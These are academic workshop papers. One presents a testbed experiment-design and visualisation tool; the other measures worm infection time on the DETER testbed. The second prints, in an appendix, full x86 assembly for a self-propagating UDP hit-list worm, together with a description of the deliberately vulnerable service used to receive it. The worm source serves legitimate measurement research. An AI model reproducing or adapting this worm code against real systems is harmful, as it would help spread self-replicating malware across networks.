designer, and a visualization tool for experimental results.
In this article we will introduce the functionalities of this
toolkit.

2. Interactive Experiment builder

2.1. Basic Topology Editing

The ESVT GUI supplies an integrated environment to
plan and specify interactive network experiments. At the
first step, it can be used to draw the network topology. The
toolbox of programs includes network components such as
computer/host node, switch, router, network/Internet inter-
face, and link. Each component has a number of properties
which can be modified. Selecting the component and right-
clicking on it will open the property dialog window, as seen
in Figure 1. The user can also change the properties of a
group of components or all components by invoking the
global component and script property configuration win-
dow. The current globally changeable properties include
host susceptibility ratio, link bandwidth, and experiment
duration.

To specify one sub-LAN to be emulated or simulated us-



ing a virtualization approach, experimenters can change the
property of the switch component in that network segment.
The switch component has one special property called Sim-
ulated LAN. Modifying this property will change the way
the ESVT generates DETER/Emulab TCL scripts. A vir-
tualized switch is distinguished from a real switch whose
LAN segment will not be scaled-down by its display color
and symbol.

There are some other useful features in the GUI that
can help design a large network topology, including topol-
ogy zoom, component index display option, and compo-
nent/node finder function.

2.2. Support for Other Topology Formats

The ESVT topology tool also supports topologies from
other topology generators or in other formats. In the exam-
ple of importing a scale-free topology generated by the GT-
ITM topology tool, ESVT reads a GT-ITM topology file
and replaces hub nodes with switch nodes and leaf nodes
with hosts nodes. The layout of the network is done by
a similar algorithm used in network animation tool NAM.
The converted topology may need further editing after the
import is done.

Internet worm simulation experimenters [5] have used
another homogeneous network topology format in Inter-
net scale-down worm experiments. For their simulation
results, ESVT can also visualize the worm propagation ef-
fects on the topology.

2.3. Experiment Related Configurations

Besides choosing virtualization options for LAN seg-
ments, experimenters can specify other component prop-
erties that are of interests to them, including normal and
vulnerable nodes (for worm experiment), link bandwidth,
link latency, node name, node OS, and experiment running
time. Figure 2 shows one example of a finished topology
designed with ESVT.

3. Topology Output and Script Generation

To request network resources from an Emulab-based
testbed and apply a network topology on it, an NS style
TCL script file needs to be submitted to the testbed control
plane. For people unfamiliar with TCL language or specific
testbed requirements, writing such a script may not be easy
, especially for a large topology or with the needs to re-
peat the experiment with minor parameter changes. ESVT
has such features that can output a network topology and
related experimental configurations into an NS or DETER
TCL script. The basic procedure of topology conversion
is that every node (except a virtualized LAN segment) in a

Figure 2. A topology designed with ESVT.

GUI topology is mapped to one node in the testbed. Links
in the topology will still be links in the resulted TCL file,
or will be replaced with TCL LAN-making clauses (make-
lan) according to different experimental needs.

3.1. Four Script Generation Choices

ESVT supports experiment script generation in four dif-
ferent output formats: NS, one-to-one testbed format, test-
bed format with EMIST virtual node scaling-down, and
testbed format with VM node scaling-down [4]. The
differences between these options are at the handling of
LAN/node virtualization. For example, the script gener-
ated by in virtual node testbed script option supports topol-
ogy scaling-down by the EMIST virtual node virtualiza-
tion. A switch node marked with a “Simulated LAN” label
and all host nodes connecting with it will become just one
virtual node in the resulted TCP script file. Those omitted
nodes and their properties will be recorded in a separate file
named map.001, which may be useful during experiment
running time.

3.2. Node name and index conversion

Internal index number in ESVT topology starts from 0
for each class of components, while in the script file a com-
ponent is given a universal number starting from 0.1 The
ESVT will automatically translate and do the mapping be-
tween these two sets of numbers.

Currently, the script generator doesn’t assign IP ad-
dresses to components. In testbed experiments, most
operations and experimental logs (TCPDUMP files) are
done or named by node IP addresses, which are assigned
by the testbed controller during the experiment initial-
ization process. The basic mapping between GUI node

1The ESVT update will support node name by user-defined string.



names/numbers and test-bed IP addresses can be realized
through the test-bed /etc/hosts file.2 For virtualized nodes
in virtual node scale-down experiments, experimenters
themselves need to assign IP addresses to the virtual nodes
(virtual IP) or threads in the virtual node program and name
their log files according to information from the map.001
file.

3.3. Additonal Script Lines

The script generator also inserts additional experiment
configuration script, which are translated from user spec-
ifications. Those script lines include testbed node OS
choices, testbed node start-up programs, etc. Normally
experimenters will run programs on testbed nodes, so
the script generator writes one line of start-up command
for each node, e.g., traffic collecting command for router
nodes, and background traffic generator command for nor-
mal non-susceptible host nodes.

4. Visualize the results using the ESVT GUI

There may be a huge amount of traffic log and worm
infection log data after each experimental run. The ESVT
aggregates these “local” TCPDUMP files and worm infec-
tion log files and present them into a human readable figure
or animation.

Visualization is fundamentally about events and the par-
tial orders among events. The event could be any anything
from packet transfer to computer buffer saturation or over-
flow. Generally, animation is used to replay network events
by time. Some visualization tools like NAM [3] visualize
at the very detailed packet level and replay every network
event. However, such packet level event to event visualiza-
tion is too complicated in an enterprise network scenario
and susceptible to synchronization mistakes. Another way
of visualization by showing accumulated effects of worm
propagation over a long period of time may miss some im-
portant characteristics of the worm. For testbed emulation
experiments we make a tradeoff and use time series visu-
alization with adjustable animation step- time. We limit
the event classification to include only node infection sta-
tus change, and link traffic volume rate.

The GUI reads network traffic flow and worm infection
dynamics from experiment log files and uses different an-
imation or histogram charts to replay worm propagation
process and traffic dynamics. Step time of animation can
be adjusted from 1 millisecond to 1 minute. The program
scans all TCPDUMP files and finds the earliest packet time
stamp. It then uses this time minus two steps’ time as

2So it is required to keep a copy of /etc/hosts file with other experi-
mental logs for the later analysis and visualization.

Figure 3. Worm spread animation: each frame shows
the current node infection status and link traffic vol-
umes

the starting time for the following calculation and statis-
tics. Figure 3 is one snapshot of such an animation. Each
snapshot is a view which shows node infection status and
summarizes the average traffic rate during the past time in-
terval.

5. Summary

In this article we present an integrated experiment spec-
ification and visualization tool for supporting testbed ex-
perimenters, in particular for Emulab-based testbeds like
DETER. The ESVT has been used in a series of security-
related network emulation experiments in our and other re-
search projects.
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This project was motivated by our reading of “Top
Speed of Flash Worms” [5]. We were interested in
the challenge of constructing a flash-worm, and in
measuring how long it takes to spread. We wished to
exploit the ability of our RINSE (Real-time Immer-
sive Network Simulation Environment) [3] network
simulator to evaluate a flash-worm’s dynamics on a
large topology. We can use network data to ascribe
realistic latencies and bandwidths to the simulation
model’s network representation, but did not know
how quickly a newly infected host can turn around
and begin infecting others. At issue is the impact
of the infection time : the time needed to push the
packet through the protocol stack on receipt, have the
receiver’s operating system get around to scheduling
processing of an infection packet, and emit the first
packet generated as a result of the infection. In order
to experimentally assess this cost, we turned to the
DETER testbed. This work, and subsequent model-
ing in RINSE form the core of Steve Hanna’s under-
graduate research thesis at the University of Illinois,
Urbana-Champaign.

We adopt a model from [5]. The authors suggest
a UDP worm that has an address list and address
size concatenated to the end of its binary code. The

∗This work was supported in part by NSF Grant CNS-
0524695, and in part by Award number 2000-DT-CX-K001
from the U.S. Department of Homeland Security, Science and
Technology Directorate. Points of view in this document are
those of the author(s) and do not necessarily represent the of-
ficial position of the U.S. Department of Homeland Security or
the Science and Technology Directorate.

Figure 1: Tree structure used by hit-list worm

payloads are crafted in such a way that all targets in
the hit list are embedded in an nk-way tree with only
two levels. The parent of the tree is the machine over-
come by the intruder, who puts on it a program to
launch the worm. That program takes the complete
hit list and partitions it into as many sublists as it in-
tends to have in the next level of the tree. To launch
the attack, this packet generation program sends an
infection packet with a hit-sublist to each of the sec-
ondary nodes it has selected. The worm payload is
a program that takes the accompanying hit-list, and
sends infection packets to each host in the sublist. In
a two-tier scheme the sublist on the second stage is
empty, but would not be if we used a deeper tree.
Figure 1 illustrates the architecture of an infection
tree scheme.

In our implementation the packet generation pro-
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gram appended the size of the worm and the IP
addresses to the packets crafted for each secondary
node. Once all of the packets were created, they were
sent to their specified secondary targets. As our in-
terest is only in measuring the infection time, we do
not attempt to incorporate any type of redundancy
among lists nor do we consider any other type of fail-
safe mechanisms.

We created a worm that executes under the the
Windows XP SP2 operating system. This platform
was chosen due to the fact that it is the most widely
deployed desktop operating system. The worm was
written in IA32 assembly language in order to pro-
duce the smallest, most efficient code possible. The
worm also incorporated position independent code to
ensure that it would run on a program’s stack. This
means that regardless of the location the code is ex-
ecuted, it will still work as intended.

The worm code is given in the Appendix. Explain-
ing assembly language and tricks used in worm de-
velopment is beyond the scope of this paper but we
refer the reader to [2] and [1]. We briefly described
the worm’s function below:

1. Obtain the address of the host processes EIP and
setup the stack for the worm’s use. This ensures
that we will not overwrite ourselves on the stack
while executing.

2. Obtain the location of the executing worm code
on the stack. This will be used to send to other
computers.

3. Create a socket.

4. Setup the stack and call sendto as many times
as required while avoiding the resource and time
consequences of the standard C argument con-
vention.

5. Obtain the size of the hit list.

6. Send the worm code to every address in the hit
list. With every iteration, fix the stack so we can
continue to not have to abide by the standard
calling convention. We fix the stack because the
Windows API uses the std-call calling conven-
tion.

7. Exit cleanly without crashing.

This worm does not actively overflow any service.
This code is only concerned with infecting other com-
puters and spreading, therefore the worm lacks any
malicious functionality, other than to forward infec-
tion packets to targets on its hit list. The program
we exploited during all of our data collection experi-
ments consisted of an application that listened on the
worm’s infection port, waited for a UDP packet of
data and executed the contents of the packet. While
most attacks have higher overhead required to exploit
a program, this paper considers the fastest possible
case, which is the situation where the data size re-
quired to overflow a buffer is very small.

The packet generation engine and the exploitable
service applications were very basic. The size of the
code when complete, was only 158 bytes.

Our main metric of interest is the time it takes a
host to become infected, and start infecting others.
This time reflects the delay of pushing the infecting
packet through the protocol stack as it comes in, and
the delay of pushing another packet out as a result
of the infection. We measured this time by placing
Ethereal [4] in the executable, thus providing a very
low impact monitor, with time-stamps. Packets are
seen—and time- stamped—as they pass through the
instrumented port, between the wire and the protocol
stack. This metric has clear relevance to a simulation
model of worm propagation.

In order to use DETERlab we created a Windows
XP SP2 image that contained only our worm code
and packet capture software. This was loaded on one
master node, and on up to 34 secondary nodes, as
shown in Figure 2. In the instrumentation each sec-
ondary node sent infection packets back to the master
(for the infection time metric described above the tar-
get is unimportant.) While only two nodes are actu-
ally needed to perform the measurement of interest,
we use up to 34 and compared behaviors for vary-
ing numbers of secondary nodes to ensure that there
are no unintended consequences on performance of
increasing the size of the secondary node pool. This
also gives us more measurements, across a number of
machines, to ensure there is no unintended machine
dependence.
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Figure 2: DETERlab host configuration used in ex-
periments

One of the challenges of doing our experiments was
our remote use of the DETERlab, and the fact that
we needed to load and interact with so many ma-
chines. To automate this as much as possible we
wrote an ’expect’ script that SSH’d into every ma-
chine, and started a script there that

1. Determined the network interface that Etherreal
would use. This involved identifying interfaces
and observing traffic. This step was necessary
because the interface of interest was not deter-
ministic across machines, or experiments.

2. Start the “repeater” program. This program
launches a ”faulty service” program, after every
time that program crashed (a result of executing
the worm.) The repeater program allowed us to
infect the machine repeatedly, and so efficiently
gather a great deal of infection time data.

3. Start the “faulty service”. This service is the
program that is vulnerable to our worm’s buffer
overflow attack. It merely listens on a socket
and tries to execute whatever data is sent to that
socket.

After all nodes are so initialized a repeater program

is executed on the master node that repeatedly runs
the packet generation program. The generation en-
gine creates specialized packets to be sent to the sec-
ondary nodes. Unlike a flash-worm, the specialized
packet contained the master node’s address. When a
secondary node is infected it sends an infection packet
back to the master node. As described earlier, each
secondary node measures the time between receipt
of the infection packet, and departure of the corre-
sponding first infection packet.

Figure 3 gives a scatter plot of our experimental re-
sults. Each point represents one infection time mea-
surement, whose value is found on the y-axis. The
x-axis (“ticks”) is the experiment number; all values
with a common x value were measured in the same in-
stance of secondary nodes responding to an infection
packet. Each experiment measured the infection time
on 32 hosts, there were 680 experiments, for a total of
21760 measurements. The data shows enough varia-
tion around the mean value (1.338 msec) to require
that simulation models account for it. In our own
simulation experiments we built an empirical cumu-
lative distribution function from the data, and sam-
ple from it randomly whenever this cost is called for
in the simulation. The host processors on which the
measurements are taken are have 3GHz Dual Xeon
CPUs. In light of this, a full millisecond delay for in-
fection time seems large, approaching the magnitude
of communication latencies. In future work we hope
to determine where the most significant components
of that delay reside.

In conclusion, we are grateful for the DETERlab
for giving us an appropriate testbed for making our
measurements. We found that remote use of the fa-
cility created certain challenges for us, but in the end
we obtain the data that we need for our work on
evaluating flash-worms in a large-scale detailed sim-
ulation.
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Appendix : x86 Worm Code

[SECTION .text]
global _start
_start:
;esp holds our "good" stack pointer
;edi always holds function addresses
;esi holds the socket
BEGIN_SIZE:
call GETEIP
GETEIP:
pop ebx ; store EIP into EBX
; fix ebx so that ebx = ebx - sizeof(call ADDRESS)
; sizeof(call) seems to be 5 bytes
; store pointer to start of our data into ebx
; this "fixes the pointer"
sub ebx,0x5
sub esp, 0x1000
and esp, 0xffffff00
;create a socket

push long 0x0
push long 0x2
push long 0x2
mov edi, 0x71AB3B91 ; call socket
call edi
mov esi,eax ; esi will hold the socket
; get the size of ourselves
mov edx, END_SIZE - BEGIN_SIZE
;create and init the structure
;on the stack
push long esi ; save size for later fixing

; stack
push long 0x0 ; zero the struct
push long 0x0 ; zero the struct
push long 0x0 ; address placeholder
push word 0xF710 ; 4343 in NBO
push word 0x0002 ; AF_INET
mov eax, esp ; store pointer in eax
; send some data
push long 0x10 ; sizeof sockaddr
push long eax ; the sockaddr_in struct
push long 0x0 ; flags
push edx ; size of the packet
push ebx ; data (ourself, the worm code)
push esi ; socket
mov edi, 0x71AB2C69 ; address of sendto
;copy pointer from eax addr_in to ebx
mov ebx, eax
; get the address of the IP List
jmp short IP_LIST
IP_LIST_RETURN:
pop ebp ; store the location of the

; size + list into *ebp*
mov long esi, [ebp] ; store the size into *esi*

; for the loop counter
add ebp, 4 ; increment to start of the list
; begin sendto loop
LOOPER:
mov long eax,[ebp] ; load a new address from the

; list into esi
mov long [ebx+0x4],eax ; move the new address into

; the structure on the stack
add ebp, 4 ; move to the next item in the list
call edi ; call sendto
sub esp, 0x18 ;fix the stack
mov eax, [ebx + 0x10] ;restore socket on stack
mov [esp], eax ;move it back to the stack
dec esi
jnz LOOPER
;it should be noted that this can safely be removed
: to save a few bytes
push long 0x0 ; exit cleanly!
mov edi, 0x7C81CAA2 ; address of ExitProcess
call edi
IP_LIST:
call IP_LIST_RETURN
; this code will be appended by the prop engine
;everything below this line will be filled
; in by the prop. engine.
END_SIZE: ; end of worm

;db 0x01,0x00,0x00,0x00 ; size
;db 0xc0,0xa8,0x00,0x01 ; list of ip addresses
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